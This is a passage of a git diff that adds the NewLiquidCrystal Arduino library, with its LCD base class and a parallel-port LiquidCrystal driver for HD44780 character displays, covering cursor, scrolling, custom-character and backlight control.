_numlines == 4 ) + { + command(LCD_SETDDRAMADDR | (col + row_offsetsLarge[row])); + } + else + { + command(LCD_SETDDRAMADDR | (col + row_offsetsDef[row])); + } + +} + +// Turn the display on/off +void LCD::noDisplay() +{ + _displaycontrol &= ~LCD_DISPLAYON; + command(LCD_DISPLAYCONTROL | _displaycontrol); +} + +void LCD::display() +{ + _displaycontrol |= LCD_DISPLAYON; + command(LCD_DISPLAYCONTROL | _displaycontrol); +} + +// Turns the underline cursor on/off +void LCD::noCursor() +{ + _displaycontrol &= ~LCD_CURSORON; + command(LCD_DISPLAYCONTROL | _displaycontrol); +} +void LCD::cursor() +{ + _displaycontrol |= LCD_CURSORON; + command(LCD_DISPLAYCONTROL | _displaycontrol); +} + +// Turns on/off the blinking cursor +void LCD::noBlink() +{ + _displaycontrol &= ~LCD_BLINKON; + command(LCD_DISPLAYCONTROL | _displaycontrol); +} + +void LCD::blink() +{ + _displaycontrol |= LCD_BLINKON; + command(LCD_DISPLAYCONTROL | _displaycontrol); +} + +// These commands scroll the display without changing the RAM +void LCD::scrollDisplayLeft(void) +{ + command(LCD_CURSORSHIFT | LCD_DISPLAYMOVE | LCD_MOVELEFT); +} + +void LCD::scrollDisplayRight(void) +{ + command(LCD_CURSORSHIFT | LCD_DISPLAYMOVE | LCD_MOVERIGHT); +} + +// This is for text that flows Left to Right +void LCD::leftToRight(void) +{ + _displaymode |= LCD_ENTRYLEFT; + command(LCD_ENTRYMODESET | _displaymode); +} + +// This is for text that flows Right to Left +void LCD::rightToLeft(void) +{ + _displaymode &= ~LCD_ENTRYLEFT; + command(LCD_ENTRYMODESET | _displaymode); +} + +// This method moves the cursor one space to the right +void LCD::moveCursorRight(void) +{ + command(LCD_CURSORSHIFT | LCD_CURSORMOVE | LCD_MOVERIGHT); +} + +// This method moves the cursor one space to the left +void LCD::moveCursorLeft(void) +{ + command(LCD_CURSORSHIFT | LCD_CURSORMOVE | LCD_MOVELEFT); +} + + +// This will 'right justify' text from the cursor +void LCD::autoscroll(void) +{ + _displaymode |= LCD_ENTRYSHIFTINCREMENT; + command(LCD_ENTRYMODESET | _displaymode); +} + +// This will 'left justify' text from the cursor +void LCD::noAutoscroll(void) +{ + _displaymode &= ~LCD_ENTRYSHIFTINCREMENT; + command(LCD_ENTRYMODESET | _displaymode); +} + +// Write to CGRAM of new characters +void LCD::createChar(uint8_t location, uint8_t charmap[]) +{ + location &= 0x7; // we only have 8 locations 0-7 + + command(LCD_SETCGRAMADDR | (location << 3)); + delayMicroseconds(30); + + for (uint8_t i = 0; i < 8; i++) + { + write(charmap[i]); // call the virtual write method + delayMicroseconds(40); + } +} + +#ifdef __AVR__ +void LCD::createChar(uint8_t location, const char *charmap) +{ + location &= 0x7; // we only have 8 memory locations 0-7 + + command(LCD_SETCGRAMADDR | (location << 3)); + delayMicroseconds(30); + + for (uint8_t i = 0; i < 8; i++) + { + write(pgm_read_byte_near(charmap++)); + delayMicroseconds(40); + } +} +#endif // __AVR__ + +// +// Switch on the backlight +void LCD::backlight ( void ) +{ + setBacklight(255); +} + +// +// Switch off the backlight +void LCD::noBacklight ( void ) +{ + setBacklight(0); +} + +// +// Switch fully on the LCD (backlight and LCD) +void LCD::on ( void ) +{ + display(); + backlight(); +} + +// +// Switch fully off the LCD (backlight and LCD) +void LCD::off ( void ) +{ + noBacklight(); + noDisplay(); +} + +// General LCD commands - generic methods used by the rest of the commands +// --------------------------------------------------------------------------- +void LCD::command(uint8_t value) +{ + send(value, COMMAND); +} + +#if (ARDUINO < 100) +void LCD::write(uint8_t value) +{ + send(value, DATA); +} +#else +size_t LCD::write(uint8_t value) +{ + send(value, DATA); + return 1; // assume OK +} +#endif diff --git a/libraries/NewliquidCrystal/LCD.h b/libraries/NewliquidCrystal/LCD.h new file mode 100644 index 0000000..36c86e6 --- /dev/null +++ b/libraries/NewliquidCrystal/LCD.h @@ -0,0 +1,578 @@ +// --------------------------------------------------------------------------- +// Created by Francisco Malpartida on 20/08/11. +// Copyright 2011 - Under creative commons license 3.0: +// Attribution-ShareAlike CC BY-SA +// +// This software is furnished "as is", without technical support, and with no +// warranty, express or implied, as to its usefulness for any purpose. +// +// Thread Safe: No +// Extendable: Yes +// +// @file LCD.h +// This file implements a basic liquid crystal library that comes as standard +// in the Arduino SDK. +// +// @brief +// This is a basic implementation of the LiquidCrystal library of the +// Arduino SDK. This library is a refactored version of the one supplied +// in the Arduino SDK in such a way that it simplifies its extension +// to support other mechanism to communicate to LCDs such as I2C, Serial, SR, +// The original library has been reworked in such a way that this will be +// the base class implementing all generic methods to command an LCD based +// on the Hitachi HD44780 and compatible chipsets. +// +// This base class is a pure abstract class and needs to be extended. As reference, +// it has been extended to drive 4 and 8 bit mode control, LCDs and I2C extension +// backpacks such as the I2CLCDextraIO using the PCF8574* I2C IO Expander ASIC. +// +// The functionality provided by this class and its base class is identical +// to the original functionality of the Arduino LiquidCrystal library. +// +// @version API 1.1.0 +// +// +// @author F. Malpartida - fmalpartida@gmail.com +// --------------------------------------------------------------------------- +#ifndef _LCD_H_ +#define _LCD_H_ + +#if (ARDUINO < 100) +#include +#else +#include +#endif + +#ifdef __AVR__ +#include +#endif + +#include +#include + + +/*! + @defined + @abstract Performs a bitwise shift. + @discussion Defines _BV bit shift which is very dependent macro defined by + Atmel. + + \note The bit shift is performed by the compiler which then inserts the + result into the code. Thus, there is no run-time overhead when using + _BV(). +*/ +#ifndef _BV +#define _BV(bit) (1 << (bit)) +#endif + +/*! + @defined + @abstract Enables disables fast waits for write operations for LCD + @discussion If defined, the library will avoid doing un-necessary waits. + this can be done, because the time taken by Arduino's slow digitalWrite + operations. If fast digitalIO operations, comment this line out or undefine + the mode. + */ +#ifdef __AVR__ +#define FAST_MODE +#endif + +/*! + @function + @abstract waits for a given time in microseconds (compilation dependent). + @discussion Waits for a given time defined in microseconds depending on + the FAST_MODE define. If the FAST_MODE is defined the call will return + inmediatelly. + @param uSec[in] time in microseconds. + @result None + */ +inline static void waitUsec ( uint16_t uSec ) +{ +#ifndef FAST_MODE + delayMicroseconds ( uSec ); +#endif // FAST_MODE +} + + +/*! + @defined + @abstract All these definitions shouldn't be used unless you are writing + a driver. + @discussion All these definitions are for driver implementation only and + shouldn't be used by applications. + */ +// LCD Commands +// --------------------------------------------------------------------------- +#define LCD_CLEARDISPLAY 0x01 +#define LCD_RETURNHOME 0x02 +#define LCD_ENTRYMODESET 0x04 +#define LCD_DISPLAYCONTROL 0x08 +#define LCD_CURSORSHIFT 0x10 +#define LCD_FUNCTIONSET 0x20 +#define LCD_SETCGRAMADDR 0x40 +#define LCD_SETDDRAMADDR 0x80 + +// flags for display entry mode +// --------------------------------------------------------------------------- +#define LCD_ENTRYRIGHT 0x00 +#define LCD_ENTRYLEFT 0x02 +#define LCD_ENTRYSHIFTINCREMENT 0x01 +#define LCD_ENTRYSHIFTDECREMENT 0x00 + +// flags for display on/off and cursor control +// --------------------------------------------------------------------------- +#define LCD_DISPLAYON 0x04 +#define LCD_DISPLAYOFF 0x00 +#define LCD_CURSORON 0x02 +#define LCD_CURSOROFF 0x00 +#define LCD_BLINKON 0x01 +#define LCD_BLINKOFF 0x00 + +// flags for display/cursor shift +// --------------------------------------------------------------------------- +#define LCD_DISPLAYMOVE 0x08 +#define LCD_CURSORMOVE 0x00 +#define LCD_MOVERIGHT 0x04 +#define LCD_MOVELEFT 0x00 + +// flags for function set +// --------------------------------------------------------------------------- +#define LCD_8BITMODE 0x10 +#define LCD_4BITMODE 0x00 +#define LCD_2LINE 0x08 +#define LCD_1LINE 0x00 +#define LCD_5x10DOTS 0x04 +#define LCD_5x8DOTS 0x00 + + +// Define COMMAND and DATA LCD Rs (used by send method). +// --------------------------------------------------------------------------- +#define COMMAND 0 +#define DATA 1 +#define FOUR_BITS 2 + + +/*! + @defined + @abstract Defines the duration of the home and clear commands + @discussion This constant defines the time it takes for the home and clear + commands in the LCD - Time in microseconds. + */ +#define HOME_CLEAR_EXEC 2000 + +/*! + @defined + @abstract Backlight off constant declaration + @discussion Used in combination with the setBacklight to swith off the + LCD backlight. @set setBacklight +*/ +#define BACKLIGHT_OFF 0 + +/*! + @defined + @abstract Backlight on constant declaration + @discussion Used in combination with the setBacklight to swith on the + LCD backlight. @set setBacklight + */ +#define BACKLIGHT_ON 255 + + +/*! + @typedef + @abstract Define backlight control polarity + @discussion Backlight control polarity. @see setBacklightPin. + */ +typedef enum { POSITIVE, NEGATIVE } t_backlighPol; + +class LCD : public Print +{ +public: + + /*! + @method + @abstract LiquidCrystal abstract constructor. + @discussion LiquidCrystal class abstract constructor needed to create + the base abstract class. + */ + LCD ( ); + + /*! + @function + @abstract LCD initialization. + @discussion Initializes the LCD to a given size (col, row). This methods + initializes the LCD, therefore, it MUST be called prior to using any other + method from this class. + + This method is abstract, a base implementation is available common to all LCD + drivers. Should it not be compatible with some other LCD driver, a derived + implementation should be done on the driver specif class. + + @param cols[in] the number of columns that the display has + @param rows[in] the number of rows that the display has + @param charsize[in] character size, default==LCD_5x8DOTS + */ + virtual void begin(uint8_t cols, uint8_t rows, uint8_t charsize = LCD_5x8DOTS); + + /*! + @function + @abstract Clears the LCD. + @discussion Clears the LCD screen and positions the cursor in the upper-left + corner. + + This operation is time consuming for the LCD. + + @param none + */ + void clear(); + + /*! + @function + @abstract Sets the cursor to the upper-left corner. + @discussion Positions the cursor in the upper-left of the LCD. + That is, use that location in outputting subsequent text to the display. + To also clear the display, use the clear() function instead. + + This operation is time consuming for the LCD. + + @param none + */ + void home(); + + /*! + @function + @abstract Turns off the LCD display. + @discussion Turns off the LCD display, without losing the text currently + being displayed on it. + + @param none + */ + void noDisplay(); + + /*! + @function + @abstract Turns on the LCD display. + @discussion Turns on the LCD display, after it's been turned off with + noDisplay(). This will restore the text (and cursor location) that was on + the display prior to calling noDisplay(). + + @param none + */ + void display(); + + /*! + @function + @abstract Turns off the blinking of the LCD cursor. + + @param none + */ + void noBlink(); + + /*! + @function + @abstract Display the cursor of the LCD. + @discussion Display the blinking LCD cursor. If used in combination with + the cursor() function, the result will depend on the particular display. + + @param none + */ + void blink(); + + /*! + @function + @abstract Hides the LCD cursor. + + @param none + */ + void noCursor(); + + /*! + @function + @abstract Display the LCD cursor. + @discussion Display the LCD cursor: an underscore (line) at the location + where the next character will be written. + + @param none + */ + void cursor(); + + /*! + @function + @abstract Scrolls the contents of the display (text and cursor) one space + to the left. + + @param none + */ + void scrollDisplayLeft(); + + /*! + @function + @abstract Scrolls the contents of the display (text and cursor) one space + to the right. + + @param none + */ + void scrollDisplayRight(); + + /*! + @function + @abstract Set the direction for text written to the LCD to left-to-right. + @discussion Set the direction for text written to the LCD to left-to-right. + All subsequent characters written to the display will go from left to right, + but does not affect previously-output text. + + This is the default configuration. + + @param none + */ + void leftToRight(); + + /*! + @function + @abstract Set the direction for text written to the LCD to right-to-left. + @discussion Set the direction for text written to the LCD to right-to-left. + All subsequent characters written to the display will go from right to left, + but does not affect previously-output text. + + left-to-right is the default configuration. + + @param none + */ + void rightToLeft(); + + /*! + @function + @abstract Moves the cursor one space to the left. + @discussion + @param none + */ + void moveCursorLeft(); + + + /*! + @function + @abstract Moves the cursor one space to the right. + + @param none + */ + void moveCursorRight(); + + /*! + @function + @abstract Turns on automatic scrolling of the LCD. + @discussion Turns on automatic scrolling of the LCD. This causes each + character output to the display to push previous characters over by one + space. If the current text direction is left-to-right (the default), + the display scrolls to the left; if the current direction is right-to-left, + the display scrolls to the right. + This has the effect of outputting each new character to the same location on + the LCD. + + @param none + */ + void autoscroll(); + + /*! + @function + @abstract Turns off automatic scrolling of the LCD. + @discussion Turns off automatic scrolling of the LCD, this is the default + configuration of the LCD. + + @param none + */ + void noAutoscroll(); + + /*! + @function + @abstract Creates a custom character for use on the LCD. + @discussion Create a custom character (glyph) for use on the LCD. + Most chipsets only support up to eight characters of 5x8 pixels. Therefore, + this methods has been limited to locations (numbered 0 to 7). + + The appearance of each custom character is specified by an array of eight + bytes, one for each row. The five least significant bits of each byte + determine the pixels in that row. To display a custom character on screen, + write()/print() its number, i.e. lcd.print (char(x)); // Where x is 0..7. + + @param location[in] LCD memory location of the character to create + (0 to 7) + @param charmap[in] the bitmap array representing each row of the character. + */ + void createChar(uint8_t location, uint8_t charmap[]); + +#ifdef __AVR__ + /*! + @function + @abstract Creates a custom character for use on the LCD. + @discussion Create a custom character (glyph) for use on t{he LCD. + Most chipsets only support up to eight characters of 5x8 pixels. Therefore, + this methods has been limited to locations (numbered 0 to 7). + + The appearance of each custom character is specified by an array of eight + bytes, one for each row. The five least significant bits of each byte + determine the pixels in that row. To display a custom character on screen, + write()/print() its number, i.e. lcd.print (char(x)); // Where x is 0..7. + + This method take the character defined in program memory. + + @param location[in] LCD memory location of the character to create + (0 to 7) + @param charmap[in] the bitmap array representing each row of the character. + Usage for flash defined characters: + const char str_pstr[] PROGMEM = {0xc, 0x12, 0x12, 0xc, 0, 0, 0, 0}; + */ + void createChar(uint8_t location, const char *charmap); +#endif // __AVR__ + + /*! + @function + @abstract Position the LCD cursor. + @discussion Sets the position of the LCD cursor. Set the location at which + subsequent text written to the LCD will be displayed. + + @param col[in] LCD column + @param row[in] LCD row - line. + */ + void setCursor(uint8_t col, uint8_t row); + + /*! + @function + @abstract Switch-on the LCD backlight. + @discussion Switch-on the LCD backlight. + The setBacklightPin has to be called before setting the backlight for + this method to work. @see setBacklightPin. + */ + void backlight ( void ); + + /*! + @function + @abstract Switch-off the LCD backlight. + @discussion Switch-off the LCD backlight. + The setBacklightPin has to be called before setting the backlight for + this method to work. @see setBacklightPin. + */ + void noBacklight ( void ); + + /*! + @function + @abstract Switch on the LCD module. + @discussion Switch on the LCD module, it will switch on the LCD controller + and the backlight. This method has the same effect of calling display and + backlight. @see display, @see backlight + */ + void on ( void ); + + /*! + @function + @abstract Switch off the LCD module. + @discussion Switch off the LCD module, it will switch off the LCD controller + and the backlight. This method has the same effect of calling noDisplay and + noBacklight. @see display, @see backlight + */ + void off ( void ); + + // + // virtual class methods + // -------------------------------------------------------------------------- + /*! + @function + @abstract Sets the pin to control the backlight. + @discussion Sets the pin in the device to control the backlight. + This method is device dependent and can be programmed on each subclass. An + empty function call is provided that does nothing. + + @param value: pin associated to backlight control. + @param pol: backlight polarity control (POSITIVE, NEGATIVE) + */ + virtual void setBacklightPin ( uint8_t value, t_backlighPol pol ) { }; + + /*! + @function + @abstract Sets the pin to control the backlight. + @discussion Sets the pin in the device to control the backlight. The behaviour + of this method is very dependent on the device. Some controllers support + dimming some don't. Please read the actual header file for each individual + device. The setBacklightPin method has to be called before setting the backlight + or the adequate backlight control constructor. + @see setBacklightPin. + + NOTE: The prefered methods to control the backlight are "backlight" and + "noBacklight". + + @param 0..255 - the value is very dependent on the LCD. However, + BACKLIGHT_OFF will be interpreted as off and BACKLIGHT_ON will drive the + backlight on. + */ + virtual void setBacklight ( uint8_t value ) { }; + + /*! + @function + @abstract Writes to the LCD. + @discussion This method writes character to the LCD in the current cursor + position. + + This is the virtual write method, implemented in the Print class, therefore + all Print class methods will end up calling this method. + + @param value[in] Value to write to the LCD. + */ +#if (ARDUINO < 100) + virtual void write(uint8_t value); +#else + virtual size_t write(uint8_t value); +#endif + +#if (ARDUINO < 100) + using Print::write; +#else + using Print::write; +#endif + +protected: + // Internal LCD variables to control the LCD shared between all derived + // classes. + uint8_t _displayfunction; // LCD_5x10DOTS or LCD_5x8DOTS, LCD_4BITMODE or + // LCD_8BITMODE, LCD_1LINE or LCD_2LINE + uint8_t _displaycontrol; // LCD base control command LCD on/off, blink, cursor + // all commands are "ored" to its contents. + uint8_t _displaymode; // Text entry mode to the LCD + uint8_t _numlines; // Number of lines of the LCD, initialized with begin() + uint8_t _cols; // Number of columns in the LCD + t_backlighPol _polarity; // Backlight polarity + +private: + /*! + @function + @abstract Send a command to the LCD. + @discussion This method sends a command to the LCD by setting the Register + select line of the LCD. + + This command shouldn't be used to drive the LCD, only to implement any other + feature that is not available on this library. + + @param value[in] Command value to send to the LCD (COMMAND, DATA or + FOUR_BITS). + */ + void command(uint8_t value); + + /*! + @function + @abstract Send a particular value to the LCD. + @discussion Sends a particular value to the LCD. This is a pure abstract + method, therefore, it is implementation dependent of each derived class how + to physically write to the LCD. + + Users should never call this method. + + @param value[in] Value to send to the LCD. + @result mode LOW - write to the LCD CGRAM, HIGH - write a command to + the LCD. + */ +#if (ARDUINO < 100) + virtual void send(uint8_t value, uint8_t mode) { }; +#else + virtual void send(uint8_t value, uint8_t mode) = 0; +#endif + +}; + +#endif diff --git a/libraries/NewliquidCrystal/LiquidCrystal.cpp b/libraries/NewliquidCrystal/LiquidCrystal.cpp new file mode 100644 index 0000000..f3aeac7 --- /dev/null +++ b/libraries/NewliquidCrystal/LiquidCrystal.cpp @@ -0,0 +1,309 @@ +// --------------------------------------------------------------------------- +// Created by Francisco Malpartida on 20/08/11. +// Copyright 2011 - Under creative commons license 3.0: +// Attribution-ShareAlike CC BY-SA +// +// This software is furnished "as is", without technical support, and with no +// warranty, express or implied, as to its usefulness for any purpose. +// +// Thread Safe: No +// Extendable: Yes +// +// @file LiquidCrystal.cpp +// This file implements a basic liquid crystal library that comes as standard +// in the Arduino SDK. +// +// @brief +// This is a basic implementation of the LiquidCrystal library of the +// Arduino SDK. The original library has been reworked in such a way that +// this class implements the all methods to command an LCD based +// on the Hitachi HD44780 and compatible chipsets using the parallel port of +// the LCD (4 bit and 8 bit). +// +// The functionality provided by this class and its base class is identical +// to the original functionality of the Arduino LiquidCrystal library. +// +// +// @author F. Malpartida - fmalpartida@gmail.com +// --------------------------------------------------------------------------- +#include +#include +#include + +#if (ARDUINO < 100) +#include +#else +#include +#endif +#include "LiquidCrystal.h" + +// CONSTANT definitions +// --------------------------------------------------------------------------- +#define LCD_NOBACKLIGHT 0xFF + +// LCD driver configuration (4bit or 8bit driver control) +#define LCD_4BIT 1 +#define LCD_8BIT 0 + +// STATIC helper functions +// --------------------------------------------------------------------------- + + +// CONSTRUCTORS +// --------------------------------------------------------------------------- + +LiquidCrystal::LiquidCrystal(uint8_t rs, uint8_t enable, + uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, + uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7) +{ + init(LCD_8BIT, rs, 255, enable, d0, d1, d2, d3, d4, d5, d6, d7); +} + +LiquidCrystal::LiquidCrystal(uint8_t rs, uint8_t rw, uint8_t enable, + uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, + uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7) +{ + init(LCD_8BIT, rs, rw, enable, d0, d1, d2, d3, d4, d5, d6, d7); +} + +LiquidCrystal::LiquidCrystal(uint8_t rs, uint8_t rw, uint8_t enable, + uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3) +{ + init(LCD_4BIT, rs, rw, enable, d0, d1, d2, d3, 0, 0, 0, 0); +} + +LiquidCrystal::LiquidCrystal(uint8_t rs, uint8_t enable, + uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3) +{ + init(LCD_4BIT, rs, 255, enable, d0, d1, d2, d3, 0, 0, 0, 0); +} + +// Contructors with backlight control +LiquidCrystal::LiquidCrystal(uint8_t rs, uint8_t enable, + uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, + uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, + uint8_t backlightPin, t_backlighPol pol) +{ + init(LCD_8BIT, rs, 255, enable, d0, d1, d2, d3, d4, d5, d6, d7); + setBacklightPin ( backlightPin, pol ); +} + +LiquidCrystal::LiquidCrystal(uint8_t rs, uint8_t rw, uint8_t enable, + uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, + uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, + uint8_t backlightPin, t_backlighPol pol) +{ + init(LCD_8BIT, rs, rw, enable, d0, d1, d2, d3, d4, d5, d6, d7); + setBacklightPin ( backlightPin, pol ); +} + +LiquidCrystal::LiquidCrystal(uint8_t rs, uint8_t rw, uint8_t enable, + uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, + uint8_t backlightPin, t_backlighPol pol) +{ + init(LCD_4BIT, rs, rw, enable, d0, d1, d2, d3, 0, 0, 0, 0); + setBacklightPin ( backlightPin, pol ); +} + +LiquidCrystal::LiquidCrystal(uint8_t rs, uint8_t enable, + uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, + uint8_t backlightPin, t_backlighPol pol) +{ + init(LCD_4BIT, rs, 255, enable, d0, d1, d2, d3, 0, 0, 0, 0); + setBacklightPin ( backlightPin, pol ); +} + +// PUBLIC METHODS +// --------------------------------------------------------------------------- + +/************ low level data pushing commands **********/ +// +// send +void LiquidCrystal::send(uint8_t value, uint8_t mode) +{ + // Only interested in COMMAND or DATA + digitalWrite( _rs_pin, ( mode == DATA ) ); + + // if there is a RW pin indicated, set it low to Write + // --------------------------------------------------- + if (_rw_pin != 255) + { + digitalWrite(_rw_pin, LOW); + } + + if ( mode != FOUR_BITS ) + { + if ( (_displayfunction & LCD_8BITMODE ) ) + { + writeNbits(value, 8); + } + else + { + writeNbits ( value >> 4, 4 ); + writeNbits ( value, 4 ); + } + } + else + { + writeNbits ( value, 4 ); + } + waitUsec ( EXEC_TIME ); // wait for the command to execute by the LCD +} + +// +// setBacklightPin +void LiquidCrystal::setBacklightPin ( uint8_t pin, t_backlighPol pol ) +{ + pinMode ( pin, OUTPUT ); // Difine the backlight pin as output + _backlightPin = pin; + _polarity = pol; + setBacklight(BACKLIGHT_OFF); // Set the backlight low by default +} + +// +// setBackligh +void LiquidCrystal::setBacklight ( uint8_t value ) +{ + // Check if there is a pin assigned to the backlight + // --------------------------------------------------- + if ( _backlightPin != LCD_NOBACKLIGHT ) + { + + // Check if the pin is associated to a timer, i.e. PWM + // We dont need to use != NOT_ON_TIMER hack to detect PWM and + // 1.5x Arduino and above has a macro to check for PWM capability + // on a pin. + // --------------------------------------------------- +#if digitalPinHasPWM + if(digitalPinHasPWM(_backlightPin)) +#elif digitalPinToTimer + // On older 1.x Arduino have to check using hack + if(digitalPinToTimer(_backlightPin) != NOT_ON_TIMER) +#else + if(0) // if neither of the above we assume no PWM +#endif + { + // Check for control polarity inversion + // --------------------------------------------------- + if ( _polarity == POSITIVE ) + { + analogWrite ( _backlightPin, value ); + } + else + { + analogWrite ( _backlightPin, 255 - value ); + } + } + // Not a PWM pin, set the backlight pin for POSI or NEG + // polarity + // -------------------------------------------------------- + else if (((value > 0) && (_polarity == POSITIVE)) || + ((value == 0) && (_polarity == NEGATIVE))) + { + digitalWrite( _backlightPin, HIGH); + } + else + { + digitalWrite( _backlightPin, LOW); + } + } +} + +// PRIVATE METHODS +// --------------------------------------------------------------------------- + + +// init +void LiquidCrystal::init(uint8_t fourbitmode, uint8_t rs, uint8_t rw, uint8_t enable, + uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, + uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7) +{ + uint8_t i; + + // Initialize the IO pins + // ----------------------- + + _rs_pin = rs; + _rw_pin = rw; + _enable_pin = enable; + + _data_pins[0] = d0; + _data_pins[1] = d1; + _data_pins[2] = d2; + _data_pins[3] = d3; + _data_pins[4] = d4; + _data_pins[5] = d5; + _data_pins[6] = d6; + _data_pins[7] = d7; + + // Initialize the IO port direction to OUTPUT + // ------------------------------------------ + + for ( i = 0; i < 4; i++ ) + { + pinMode ( _data_pins[i], OUTPUT ); + } + + // Initialize the rest of the ports if it is an 8bit controlled LCD + // ---------------------------------------------------------------- + + if ( !fourbitmode ) + { + for ( i = 4; i < 8; i++ ) + { + pinMode ( _data_pins[i], OUTPUT ); + } + } + pinMode(_rs_pin, OUTPUT); + + // we can save 1 pin by not using RW. Indicate by passing 255 instead of pin# + if (_rw_pin != 255) + { + pinMode(_rw_pin, OUTPUT); + } + + pinMode(_enable_pin, OUTPUT); + + // Initialise displaymode functions to defaults: LCD_1LINE and LCD_5x8DOTS + // ------------------------------------------------------------------------- + if (fourbitmode) + _displayfunction = LCD_4BITMODE | LCD_1LINE | LCD_5x8DOTS; + else + _displayfunction = LCD_8BITMODE | LCD_1LINE | LCD_5x8DOTS; + + // Now we pull both RS and R/W low to begin commands + digitalWrite(_rs_pin, LOW); + digitalWrite(_enable_pin, LOW); + + if (_rw_pin != 255) + { + digitalWrite(_rw_pin, LOW); + } + + // Initialise the backlight pin no nothing + _backlightPin = LCD_NOBACKLIGHT; + _polarity = POSITIVE; +} + +// +// pulseEnable +void LiquidCrystal::pulseEnable(void) +{ + // There is no need for the delays, since the digitalWrite operation + // takes longer. + digitalWrite(_enable_pin, HIGH); + waitUsec(1); // enable pulse must be > 450ns + digitalWrite(_enable_pin, LOW); +} + +// +// write4bits +void LiquidCrystal::writeNbits(uint8_t value, uint8_t numBits) +{ + for (uint8_t i = 0; i < numBits; i++) + { + digitalWrite(_data_pins[i], (value >> i) & 0x01); + } + pulseEnable(); +} + diff --git a/libraries/NewliquidCrystal/LiquidCrystal.h b/libraries/NewliquidCrystal/LiquidCrystal.h new file mode 100644 index 0000000..e2114dc --- /dev/null +++ b/libraries/NewliquidCrystal/LiquidCrystal.h @@ -0,0 +1,161 @@ +// --------------------------------------------------------------------------- +// Created by Francisco Malpartida on 20/08/11. +// Copyright 2011 - Under creative commons license 3.0: +// Attribution-ShareAlike CC BY-SA +// +// This software is furnished "as is", without technical support, and with no +// warranty, express or implied, as to its usefulness for any purpose. +// +// Thread Safe: No +// Extendable: Yes +// +// @file LiquidCrystal.h +// This file implements a basic liquid crystal library that comes as standard +// in the Arduino SDK. +// +// @brief +// This is a basic implementation of the LiquidCrystal library of the +// Arduino SDK. The original library has been reworked in such a way that +// this class implements the all methods to command an LCD based +// on the Hitachi HD44780 and compatible chipsets using the parallel port of +// the LCD (4 bit and 8 bit). +// +// +// +// @author F. Malpartida - fmalpartida@gmail.com +// --------------------------------------------------------------------------- +#ifndef LiquidCrystal_4bit_h +#define LiquidCrystal_4bit_h + +#include + +#include "LCD.h" +#include "FastIO.h" + + +/*! + @defined + @abstract Command execution time on the LCD. + @discussion This defines how long a command takes to execute by the LCD. + The time is expressed in micro-seconds. + */ +#define EXEC_TIME 37 + +class LiquidCrystal : public LCD +{ +public: + /*! + @method + @abstract 8 bit LCD constructors. + @discussion Defines the pin assignment that the LCD will have. + The constructor does not initialize the LCD. + */ + LiquidCrystal(uint8_t rs, uint8_t enable, + uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, + uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7); + LiquidCrystal(uint8_t rs, uint8_t rw, uint8_t enable, + uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, + uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7); + + // Constructors with backlight control + LiquidCrystal(uint8_t rs, uint8_t enable, + uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, + uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, + uint8_t backlightPin, t_backlighPol pol); + LiquidCrystal(uint8_t rs, uint8_t rw, uint8_t enable, + uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, + uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, + uint8_t backlightPin, t_backlighPol pol); + /*! + @method + @abstract 4 bit LCD constructors. + @discussion Defines the pin assignment that the LCD will have. + The constructor does not initialize the LCD. + */ + LiquidCrystal(uint8_t rs, uint8_t rw, uint8_t enable, + uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3); + LiquidCrystal(uint8_t rs, uint8_t enable, + uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3); + + // Constructors with backlight control + LiquidCrystal(uint8_t rs, uint8_t rw, uint8_t enable, + uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, + uint8_t backlightPin, t_backlighPol pol); + LiquidCrystal(uint8_t rs, uint8_t enable, + uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, + uint8_t backlightPin, t_backlighPol pol); + /*! + @function + @abstract Send a particular value to the LCD. + @discussion Sends a particular value to the LCD for writing to the LCD or + as an LCD command. + + Users should never call this method. + + @param value Value to send to the LCD. + @result mode LOW - write to the LCD CGRAM, HIGH - write a command to + the LCD. + */ + virtual void send(uint8_t value, uint8_t mode); + + /*! + @function + @abstract Sets the pin to control the backlight. + @discussion Sets the pin in the device to control the backlight. + + @param pin: pin assigned to the backlight + @param pol: backlight pin control polarity (POSITIVE, NEGATIVE). + */ + void setBacklightPin ( uint8_t pin, t_backlighPol pol ); + + /*! + @function + @abstract Switch-on/off the LCD backlight. + @discussion Switch-on/off the LCD backlight. + The setBacklightPin has to be called before setting the backlight for + this method to work. @see setBacklightPin. For dimming control of the + backlight, the configuration pin must be a PWM output pin. Dim control + is achieved by passing a value from 1 to 255 as a parameter. If the + pin configured when calling the setBacklightPin does not support PWM, + then: (0) backlight off, (1..255) backlight on. + + @param value: backlight value. 0: off, 1..255: dim control of the + backlight. For negative logic 255: off, 254..0: dim control. + */ + void setBacklight ( uint8_t value ); + +private: + + /*! + @method + @abstract Initializes the LCD pin allocation and associated HW + @discussion Initializes the LCD pin allocation and configuration. + */ + void init(uint8_t fourbitmode, uint8_t rs, uint8_t rw, uint8_t enable, + uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, + uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7); + + /*! + @method + @abstract Writes numBits bits from value value to the LCD. + @discussion Writes numBists bits (the least significant) to the LCD control + data lines. + */ + void writeNbits(uint8_t value, uint8_t numBits); + + /*! + @method + @abstract Pulse the LCD enable line (En). + @discussion Sends a pulse of 1 uS to the Enable pin to execute an command + or write operation. + */ + void pulseEnable(); + + uint8_t 